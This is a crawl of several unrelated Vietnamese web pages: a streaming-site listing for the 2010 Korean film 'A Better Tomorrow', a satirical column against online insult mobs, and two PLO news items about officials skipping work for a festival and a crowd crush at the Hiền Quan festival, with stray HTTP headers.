## Bản sắc anh hùng (A Better Tomorrow) (2010)
Đây là bộ phim Hàn Quốc làm lại từ bộ phim "A Better Tomorrow" được đóng bởi các ngôi sao Hồng Kông, Châu Nhuận Phát và Trương Quốc Vinh, do Ngô Vũ Sâm làm đạo diễn. Joo Jin Mo vào vai Hyeok, kẻ cầm đầu của một tổ chức tội phạm, người đang cố hòa giải với người em trai Cheol (Kim Kang Woo), hai người đã bị thất lạc nhau từ khi còn nhỏ. Nhưng Cheol, một nhân viên cảnh sát, lại tin rằng Hyeok đã bỏ rơi anh ta và đã dồn hết sự tức giận đó để cố bắt giữ người anh. Trong khi đó, Yeong-chun (Song Seung Heon) và Tae-min (Jo Han Sun) là những người bạn thân nhất nhưng mọi việc trở nên xấu đi khi Tae-min phản bội lại tổ chức. Đúng như các kế hoạch của Tae-min, ba người còn lại trở nên rối tung trong những tình huống lộn xộn và những bi kịch bắt đầu.
Chúc các bạn
** vui vẻ tại web site xem phim** **PhimHot.Info**
Phim
** : Phim Hành Động** **- (2010), vietsub,thuyết minh, trọn bộ 124 phút** [Bản Sắc Anh Hùng - A Better Tomorrow - 2010](http://phimhot.info/phim/ban-sac-anh-hung-a-better-tomorrow-ou0f.html)
### Bình luận
### TAGS
[Bản Sắc Anh Hùng Vietsub](http://phimhot.info/tim-kiem/bản-sắc-anh-hùng-vietsub.html), [Bản Sắc Anh Hùng Thuyết Minh](http://phimhot.info/tim-kiem/bản-sắc-anh-hùng-thuyết-minh.html), [A Better Tomorrow Vietsub](http://phimhot.info/tim-kiem/a-better-tomorrow-vietsub.html), [A Better Tomorrow Thuyết Minh](http://phimhot.info/tim-kiem/a-better-tomorrow-thuyết-minh.html), [Seung-Heon Song Vietsub](http://phimhot.info/tim-kiem/seung-heon-song-vietsub.html), [Seung-Heon Song Thuyết Minh](http://phimhot.info/tim-kiem/seung-heon-song-thuyết-minh.html), [Kang-Woo Kim Vietsub](http://phimhot.info/tim-kiem/kang-woo-kim-vietsub.html), [Kang-Woo Kim Thuyết Minh](http://phimhot.info/tim-kiem/kang-woo-kim-thuyết-minh.html), [Jin-Mo Ju Vietsub](http://phimhot.info/tim-kiem/jin-mo-ju-vietsub.html), [Jin-Mo Ju Thuyết Minh](http://phimhot.info/tim-kiem/jin-mo-ju-thuyết-minh.html), [Hae-Sung Song Vietsub](http://phimhot.info/tim-kiem/hae-sung-song-vietsub.html), [Hae-Sung Song Thuyết Minh](http://phimhot.info/tim-kiem/hae-sung-song-thuyết-minh.html)


text:
Hồi còn nhỏ, cu Tèo thỉnh thoảng lại nghe má chép miệng nói: Thiệt là cái lũ ác nhơn thất đức, có ngày Trời hại. Đó là mỗi khi có chuyện chi đó xảy ra trong làng, trong xóm về ai đó ác ôn làm khổ cho người khác, mà mấy bà nghe được. Chỉ là ngồi lê đôi mách tám chuyện với nhau giữa những người phụ nữ, ngồi nghe lỏm là mấy đứa con nít, chớ chẳng phải chửi rủa đình đám chi hết.
Lớn lên, câu chửi lũ ác nhơn thất đức đi theo cu Tèo. Là đàn ông, cu Tèo không ngồi lê đôi mách, nhưng trong bàn nhậu cái chuyện lôi ai đó ra để chửi là một điều cực sướng. Cứ lè nhè, lè nhè, cu Tèo và những cu Tí, cu Tửng khác tha hồ mà chửi mọi người với phong phú ngôn ngữ chửi: Ác nhơn thất đức, mất dạy, ngu ngốc, khốn nạn….
Có Internet, môi trường chửi lại càng phong phú hơn. Nào là mạng xã hội, nào là blog, nào là diễn đàn… chỗ nào cũng có thể còm-men (nhận xét) vô được. Ngay cả các bài báo trên các trang tin cũng đều có phần phản hồi của độc giả để người đọc góp ý.
Tèo học ít, nhậu nhiều nên đâu có bao nhiêu chữ nghĩa để nhận xét cho ra hồn. Muốn thể hiện mình, Tèo bèn vận dụng ngôn ngữ chửi trong môi trường chửi. Khi chửi, Tèo có cảm giác mình đứng ở bậc cao hơn người bị chửi (cứ gọi đó là thằng, là mày, bất kể đối tượng là ai), và cảm thấy sung sướng vô cùng.
Thí dụ, có một tai nạn giao thông xảy ra, được đưa tin lên mạng, cu Tèo bèn chửi ngay: Lũ tài xế ác nhơn thất đức, coi thường mạng người. Quân dã man. Khi có một vụ hỏa hoạn xảy ra, chưa cần đọc xem nguyên nhân, diễn tiến sự việc thế nào, Tèo chửi như tát nước: Bọn vô trách nhiệm, ác nhơn thất đức, làm tiêu tan sự nghiệp người ta! V.v…
Trong mỗi vụ việc như vậy, không chỉ có cu Tèo, mà có cả cu Tí, cu Tửng… cùng hè theo như đang hô Dzô! Dzô! trong mỗi buổi nhậu. Nạn nhân có đang đứng đó cũng phải bủn rủn tay chân mà không tài nào cãi lại.
Năm trước, có mấy đứa trẻ trốn khỏi nhà nuôi trẻ đi lang thang và nói dối mọi người rằng là chúng bị hành hạ, phải bỏ trốn. Thế là báo chí rầm rộ đưa tin lên là hành hạ trẻ em như thời trung cổ (à, phải nói là không chỉ Tèo, Tí… mà cả báo chí cũng khoái chửi nữa). Tèo, Tí, Tửng… cùng thi nhau nguyền rủa những người nuôi dạy trẻ. Thế rồi phát hiện ra là bọn trẻ nói dối. Người nuôi trẻ bị chấn động tâm thần vì bị xúc phạm mà chả báo chí nào xin lỗi, còn cu Tèo, cu Tí, cu Tửng… thì vô can, được một phen chửi cho sướng miệng!
Mới đây có một cô giáo trẻ ở Hà Nội dạy văn với 2 câu thơ: Gió đưa cành trúc la đà/ Tiếng chuông Trấn Vũ, canh gà Thọ Xương, khi làm bài kiểm tra có học sinh giải thích canh gà là canh thịt gà, thế mà cô giáo vẫn cho bài kiểm tra ấy 8 điểm. Xui cho cô, phụ huynh học sinh ấy phát hiện bài kiểm tra của con mình và đưa nhà báo xem. Nhà báo đưa tin lên mạng. Cu Tèo đọc thấy tin ấy bèn lên tiếng chửi: Cô giáo ngu ngốc giết chết cả một thế hệ! Cu Tí, cu Tửng cũng họa theo: Cần xem lại quy trình đào tạo của trường X, nơi đã đào tạo nên một người ác nhơn thất đức như vậy…
Cô giáo chịu không nổi áp lực dư luận nên làm đơn xin nghỉ dạy và nhập viện.
Những đứa trẻ thơ, học trò của cô lên mạng kêu gọi cô giáo trở về dạy. Chuyện thật ra không có gì ghê gớm, và nếu cô giáo có lỗi chăng chỉ là lỗi nhỏ, không đáng phải bị sỉ nhục, làm trầm trọng vấn đề đến như vậy. Nhưng đã muộn rồi, cô giáo chịu không nổi…
Có một vài bài báo phân tích vấn đề, trách dư luận nhìn nhận phiến diện, độc mồm độc miệng xúc phạm một con người. Như thường lệ, cu Tèo đọc báo và nhanh nhẩu phát huy năng lực chửi khi thấy có ai đó nêu lên điều gì xấu xa. Tèo còm-men: Quân ác nhơn thất đức, độc mồm độc miệng hại chết con người ta!
Chửi xong, Tèo ngồi thừ ra, tự hỏi: Ủa, mình vừa chửi ai ác nhơn thất đức vậy ta?
Hai Ẩu
eChip 353 - 19/10/2012
Không có nhận xét nào:
Đăng nhận xét

markdown:
Hồi còn nhỏ, cu Tèo thỉnh thoảng lại nghe má chép miệng nói:
*Thiệt là cái lũ ác nhơn thất đức, có ngày Trời hại.*Đó là mỗi khi có chuyện chi đó xảy ra trong làng, trong xóm về ai đó ác ôn làm khổ cho người khác, mà mấy bà nghe được. Chỉ là ngồi lê đôi mách tám chuyện với nhau giữa những người phụ nữ, ngồi nghe lỏm là mấy đứa con nít, chớ chẳng phải chửi rủa đình đám chi hết.
Lớn lên, câu chửi
*lũ ác nhơn thất đức*đi theo cu Tèo. Là đàn ông, cu Tèo không ngồi lê đôi mách, nhưng trong bàn nhậu cái chuyện lôi ai đó ra để chửi là một điều cực sướng. Cứ lè nhè, lè nhè, cu Tèo và những cu Tí, cu Tửng khác tha hồ mà chửi mọi người với phong phú **:** *ngôn ngữ chửi* *Ác nhơn thất đức, mất dạy, ngu ngốc, khốn nạn….*
Có Internet,
**lại càng phong phú hơn. Nào là mạng xã hội, nào là blog, nào là diễn đàn… chỗ nào cũng có thể còm-men (nhận xét) vô được. Ngay cả các bài báo trên các trang tin cũng đều có phần phản hồi của độc giả để người đọc góp ý.** *môi trường chửi*
Tèo
*học ít, nhậu nhiều*nên đâu có bao nhiêu chữ nghĩa để nhận xét cho ra hồn. Muốn thể hiện mình, Tèo bèn vận dụng *ngôn ngữ chửi*trong *môi trường chửi.*Khi chửi, Tèo có cảm giác mình đứng ở bậc cao hơn người bị chửi (cứ gọi đó là *thằng,*là *mày,*bất kể đối tượng là ai), và cảm thấy sung sướng vô cùng.
Thí dụ, có một tai nạn giao thông xảy ra, được đưa tin lên mạng, cu Tèo bèn chửi ngay:
*Lũ tài xế ác nhơn thất đức, coi thường mạng người. Quân dã man.*Khi có một vụ hỏa hoạn xảy ra, chưa cần đọc xem nguyên nhân, diễn tiến sự việc thế nào, Tèo chửi như tát nước: *Bọn vô trách nhiệm, ác nhơn thất đức, làm tiêu tan sự nghiệp người ta! V.v…*
Trong mỗi vụ việc như vậy, không chỉ có cu Tèo, mà có cả cu Tí, cu Tửng… cùng hè theo như đang hô
*Dzô! Dzô!*trong mỗi buổi nhậu. Nạn nhân có đang đứng đó cũng phải bủn rủn tay chân mà không tài nào cãi lại.
Năm trước, có mấy đứa trẻ trốn khỏi nhà nuôi trẻ đi lang thang và nói dối mọi người rằng là chúng bị hành hạ, phải bỏ trốn. Thế là báo chí rầm rộ đưa tin lên là
*hành hạ trẻ em như thời trung cổ*(à, phải nói là không chỉ Tèo, Tí… mà cả báo chí cũng khoái chửi nữa). Tèo, Tí, Tửng… cùng thi nhau nguyền rủa những người nuôi dạy trẻ. Thế rồi phát hiện ra là bọn trẻ nói dối. Người nuôi trẻ bị chấn động tâm thần vì bị xúc phạm mà chả báo chí nào xin lỗi, còn cu Tèo, cu Tí, cu Tửng… thì vô can, được một phen chửi cho sướng miệng!
Mới đây có một cô giáo trẻ ở Hà Nội dạy văn với 2 câu thơ:
*Gió đưa cành trúc la đà/ Tiếng chuông Trấn Vũ, canh gà Thọ Xương,*khi làm bài kiểm tra có học sinh giải thích *canh gà*là *canh thịt gà,*thế mà cô giáo vẫn cho bài kiểm tra ấy 8 điểm. Xui cho cô, phụ huynh học sinh ấy phát hiện bài kiểm tra của con mình và đưa nhà báo xem. Nhà báo đưa tin lên mạng. Cu Tèo đọc thấy tin ấy bèn lên tiếng chửi: *Cô giáo ngu ngốc giết chết cả một thế hệ!*Cu Tí, cu Tửng cũng họa theo: *Cần xem lại quy trình đào tạo của trường X, nơi đã đào tạo nên một người ác nhơn thất đức như vậy…*
Cô giáo chịu không nổi áp lực dư luận nên làm đơn xin nghỉ dạy và nhập viện.
Những đứa trẻ thơ, học trò của cô lên mạng kêu gọi cô giáo trở về dạy. Chuyện thật ra không có gì ghê gớm, và nếu cô giáo có lỗi chăng chỉ là lỗi nhỏ, không đáng phải bị sỉ nhục, làm trầm trọng vấn đề đến như vậy. Nhưng đã muộn rồi, cô giáo chịu không nổi…
Có một vài bài báo phân tích vấn đề, trách dư luận nhìn nhận phiến diện, độc mồm độc miệng xúc phạm một con người. Như thường lệ, cu Tèo đọc báo và nhanh nhẩu phát huy
*năng lực chửi*khi thấy có ai đó nêu lên điều gì xấu xa. Tèo còm-men: *Quân ác nhơn thất đức, độc mồm độc miệng hại chết con người ta!*
Chửi xong, Tèo ngồi thừ ra, tự hỏi:
*Ủa, mình vừa chửi ai ác nhơn thất đức vậy ta?* **Hai Ẩu** *eChip 353 - 19/10/2012* ****
## Không có nhận xét nào:
## Đăng nhận xét


text:
Liên quan đến vụ việc 22 cán bộ Sở Y tế tỉnh Bình Định bỏ công sở đi lễ giỗ Hải Thượng Lãn Ông ở Hưng Yên, trao đổi với Pháp Luật TP.HCM chiều nay 10-2, ông Lê Quang Hùng, Giám đốc sở này, cho biết như trên.
Ông Hùng cho biết 15 cán bộ, công chức trong số 22 người của đoàn Sở Y tế tỉnh Bình Định đi miền Bắc dự lễ hội đã trở về làm việc tại Sở từ sáng 10-2. Những người chưa trở về là cán bộ, nhân viên hợp đồng của các dự án ngành y tế.
Trụ sở Sở Y tế tỉnh Bình Định.
Theo ông Hùng, Bộ Y tế chỉ mời Sở Y tế tỉnh Bình Định hai đại biểu dự lễ dâng hương tưởng niệm ngày viên tịch của đại danh y và trao giải thưởng Hải Thượng Lãn Ông lần thứ IV tại tỉnh Hưng Yên vào ngày 11-2. Ngoài giám đốc Sở và trưởng Phòng Tổ chức của Sở, ông Hùng còn cho 13 cán bộ, hầu hết là trưởng, phó phòng của Sở được nghỉ phép đi cùng đoàn để dự lễ.
“Lỗi của tôi là ký cho anh em nghỉ phép nhiều quá, vào thời điểm không đúng, không phù hợp vì đã có chỉ thị của Thủ tướng. Mặt khác, đoàn người đi đông mà không xin phép UBND tỉnh. Đây là lỗi của tôi hoàn toàn, anh em không có lỗi gì hết. Đây là bài học kinh nghiệm cho tôi vì đã quyết định không đúng. Với vai trò giám đốc Sở Y tế, tôi hoàn toàn chịu trách nhiệm và sẽ kiểm điểm nghiêm túc về việc này theo đúng yêu cầu của UBND tỉnh. Còn hình thức kỷ luật ra sao thì cấp trên quyết định” - ông Hùng nói.
Trước thông tin cho rằng một công ty dược ở Bình Định đã hỗ trợ 2,5 triệu đồng cho mỗi thành viên của đoàn Sở Y tế đi miền Bắc dự lễ hội, ông Hùng nói: “Hoàn toàn không có việc này, chúng tôi cũng không kêu gọi ai tài trợ. Kinh phí đi do anh em tự góp, không liên quan đến Sở”.
Cũng theo ông Hùng, Sở Y tế tỉnh Bình Định có tổng cộng 39 cán bộ, công chức. Tuy nhiên, trên website của Sở Y tế tỉnh Bình Định, hiện sở này có tất cả 33 cán bộ, chuyên viên. Trong đó, có 19 người đang giữ các chức vụ lãnh đạo sở, phòng. Riêng ba phòng Nghiệp vụ y, Nghiệp vụ dược, Thanh tra Sở có tổng cộng 11 người chỉ có ba chuyên viên, còn lại đều là trưởng, phó phòng.

markdown:
![ 22 cán bộ Sở Y tế đi lễ hội: 'Lỗi của tôi hoàn toàn'](http://image.plo.vn/w653/Uploaded/thanhhoa/2017_02_10/soytebinhdinhbkyo_OVNJ.jpg)
Liên quan đến vụ việc 22 cán bộ Sở Y tế tỉnh Bình Định bỏ công sở đi lễ giỗ Hải Thượng Lãn Ông ở Hưng Yên, trao đổi với
*Pháp Luật TP.HCM* chiều nay 10-2, ông Lê Quang Hùng, Giám đốc sở này, cho biết như trên.
Ông Hùng cho biết 15 cán bộ, công chức trong số 22 người của đoàn Sở Y tế tỉnh Bình Định đi miền Bắc dự lễ hội đã trở về làm việc tại Sở từ sáng 10-2. Những người chưa trở về là cán bộ, nhân viên hợp đồng của các dự án ngành y tế.
*Trụ sở Sở Y tế tỉnh Bình Định.*
Theo ông Hùng, Bộ Y tế chỉ mời Sở Y tế tỉnh Bình Định hai đại biểu dự lễ dâng hương tưởng niệm ngày viên tịch của đại danh y và trao giải thưởng Hải Thượng Lãn Ông lần thứ IV tại tỉnh Hưng Yên vào ngày 11-2. Ngoài giám đốc Sở và trưởng Phòng Tổ chức của Sở, ông Hùng còn cho 13 cán bộ, hầu hết là trưởng, phó phòng của Sở được nghỉ phép đi cùng đoàn để dự lễ.
“Lỗi của tôi là ký cho anh em nghỉ phép nhiều quá, vào thời điểm không đúng, không phù hợp vì đã có chỉ thị của Thủ tướng. Mặt khác, đoàn người đi đông mà không xin phép UBND tỉnh. Đây là lỗi của tôi hoàn toàn, anh em không có lỗi gì hết. Đây là bài học kinh nghiệm cho tôi vì đã quyết định không đúng. Với vai trò giám đốc Sở Y tế, tôi hoàn toàn chịu trách nhiệm và sẽ kiểm điểm nghiêm túc về việc này theo đúng yêu cầu của UBND tỉnh. Còn hình thức kỷ luật ra sao thì cấp trên quyết định” - ông Hùng nói.
Trước thông tin cho rằng một công ty dược ở Bình Định đã hỗ trợ 2,5 triệu đồng cho mỗi thành viên của đoàn Sở Y tế đi miền Bắc dự lễ hội, ông Hùng nói: “Hoàn toàn không có việc này, chúng tôi cũng không kêu gọi ai tài trợ. Kinh phí đi do anh em tự góp, không liên quan đến Sở”.
Cũng theo ông Hùng, Sở Y tế tỉnh Bình Định có tổng cộng 39 cán bộ, công chức. Tuy nhiên, trên website của Sở Y tế tỉnh Bình Định, hiện sở này có tất cả 33 cán bộ, chuyên viên. Trong đó, có 19 người đang giữ các chức vụ lãnh đạo sở, phòng. Riêng ba phòng Nghiệp vụ y, Nghiệp vụ dược, Thanh tra Sở có tổng cộng 11 người chỉ có ba chuyên viên, còn lại đều là trưởng, phó phòng.
**TẤN LỘC**

Set-Cookie: .ASPXANONYMOUS=wHCiPa-DHh4_ajQrG4Vk4Yez_ACqxbttxJFGDPLmjxFseLNmVLcSdP2_DxI0KhyUWUtXorqLWlCaieLy0GkCQhRoC3W--MKwYNeszAUqf7pQKJdbo-UgaKp5nqR8ZnzzlmXd8UUWflSAAk2uakfVug2; domain=plo.vn; expires=Wed, 27-Dec-2017 18:05:41 GMT; path=/; HttpOnly

X-Cache: MISS from xCache11


text:
'Biển người' dẫm đạp lên nhau để cướp phết Hiền Quan
(PLO)- Ngay khi mới bắt đầu bước vào phần cướp phết Hiền Quan (Tam Nông, Phú Thọ) đã xảy ra tình trạng chen lấn, hỗn loạn khiến lực lượng chức năng không kiểm soát nổi.
1 / 20
2 / 20
3 / 20
4 / 20
5 / 20
6 / 20
7 / 20
8 / 20
9 / 20
10 / 20
11 / 20
12 / 20
13 / 20
14 / 20
15 / 20
16 / 20
17 / 20
18 / 20
19 / 20
20 / 20
MAI HƯƠNG
Tin liên quan
Clip: 3 thanh niên làng Lại Yên dí theo... con...
Dân đội nắng xem trò ba thanh niên “bắt...
Các album khác
106

markdown:
# 'Biển người' dẫm đạp lên nhau để cướp phết Hiền Quan
(PLO)- Ngay khi mới bắt đầu bước vào phần cướp phết Hiền Quan (Tam Nông, Phú Thọ) đã xảy ra tình trạng chen lấn, hỗn loạn khiến lực lượng chức năng không kiểm soát nổi.
1 / 20
Chiều 9-2 (tức 13 tháng Giêng), lễ hội phết Hiền Quan đã diễn ra tại xã Hiền Quan, huyện Tam Nông, Phú Thọ. Lễ tổ chức từ ngày 12 đến 13 tháng Giêng âm lịch hằng năm, chính hội diễn ra vào ngày 13. Đây là lễ hội nhằm thể hiện lòng tri ân, tưởng nhớ công lao to lớn của nữ tướng Thiều Hoa cùng các tướng lĩnh, nghĩa quân của bà đã có công giúp Hai Bà Trưng đánh đuổi giặc Hán.
2 / 20
Tuy chưa làm xong phần lễ tế nhưng nhiều thanh niên quá khích đã hò hét ầm ĩ trước đàn tế.
3 / 20
Cảnh xô đẩy, chen lấn ngay từ khi " cụ tiên chỉ" của làng cùng đội rước phết ra bãi cướp phết.
4 / 20
Dòng người chen lấn, xô đẩy ra bãi cướp phết.
5 / 20
Năm nay ban tổ chức quy định tổng số người đánh phết là 100 người, chia làm hai đội, mỗi đội 50 người. Các thanh niên tranh phết thắt đai xanh và đỏ để phân biệt đội.
6 / 20
Tuy nhiên, vừa bắt đầu bước vào trận, đông đảo người xem bên ngoài đã ùa vào tranh cướp cùng lúc khiến lực lượng chức năng mất khiểm soát.
7 / 20
8 / 20
Nhiều thanh niên đứng cả lên đầu người ở dưới.
9 / 20
Phết được tung đến đâu, dòng người ùa tới đấy. Túm tụm lại một chỗ...
10 / 20
Hò hét inh ỏi để gọi thêm đồng đội...
11 / 20
12 / 20
Nhiều thanh niên kiệt sức, ngã gục luôn dưới chân hàng ngàn người vẫn đang tranh cướp.
13 / 20
Nhiều người vì mệt mỏi quá mà bỏ cuộc.
14 / 20
Một thanh niên được bạn đỡ sau khi tranh cướp không thành bị ngã xuống ruộng lúa.
15 / 20
Tình trạng ẩu đả, hỗn loạn, gây gổ đánh nhau vẫn xảy ra.
16 / 20
Khi cướp được phết, các thanh niên tìm cách thoát khỏi đám đông bằng cách nhảy xuống một ao nước gần đó.
17 / 20
Và nhờ bạn hỗ trợ ở bờ phía bên này.
18 / 20
Một thanh niên "cất kỹ" quả phết vào trong áo để phòng có người cướp mất.
19 / 20
Những cánh tay cố gắng sờ vào quả phết để nhận sự may mắn.
20 / 20
Đám thanh niên hò hét dọc cả đường đi về khi giành chiến thắng, tranh nhau cầm, sờ quả phết.
[❮] [❯] **MAI HƯƠNG**
### Tin liên quan
[](http://plo.vn/video-photo-hi-hoa/video/clip-3-thanh-nien-lang-lai-yen-di-theo-con-vit-681298.html) ![ Clip: 3 thanh niên làng Lại Yên dí theo... con vịt!](http://image.plo.vn/210x158/Uploaded/giahuy/2017_02_09/hoi-bat-vit13nrub_VHGX.jpg)
![ Clip: 3 thanh niên làng Lại Yên dí theo... con vịt!](http://image.plo.vn/210x158/Uploaded/giahuy/2017_02_09/hoi-bat-vit13nrub_VHGX.jpg)
##
[Clip: 3 thanh niên làng Lại Yên dí theo... con... ](http://plo.vn/video-photo-hi-hoa/video/clip-3-thanh-nien-lang-lai-yen-di-theo-con-vit-681298.html)
[](http://plo.vn/van-hoa-giai-tri/dan-doi-nang-xem-tro-ba-thanh-nien-bat-vit-681277.html) ![ Dân đội nắng xem trò ba thanh niên “bắt vịt“](http://image.plo.vn/210x158/Uploaded/phihung/2017_02_08/hoi-bat-vit_13_NRUB.JPG)
##
[Dân đội nắng xem trò ba thanh niên “bắt...](http://plo.vn/van-hoa-giai-tri/dan-doi-nang-xem-tro-ba-thanh-nien-bat-vit-681277.html)
### Các album khác
106

Set-Cookie: .ASPXANONYMOUS=onW4O1U8QQsyu0WhX4jpZSoYy_spYMl3e_-eh_Lfgi0rGGfQDsuHj3iHyl4dekm5XfRcZ-A1hSu6G0ZHL-8zRov48gkoHCrIkYDGhejy3L2jDxcnICaDetZ5J10_tAFLvb9pmuvPyhjrA44uyc6KpA2; domain=plo.vn; expires=Wed, 27-Dec-2017 18:05:46 GMT; path=/; HttpOnly

X-Cache: MISS from cache13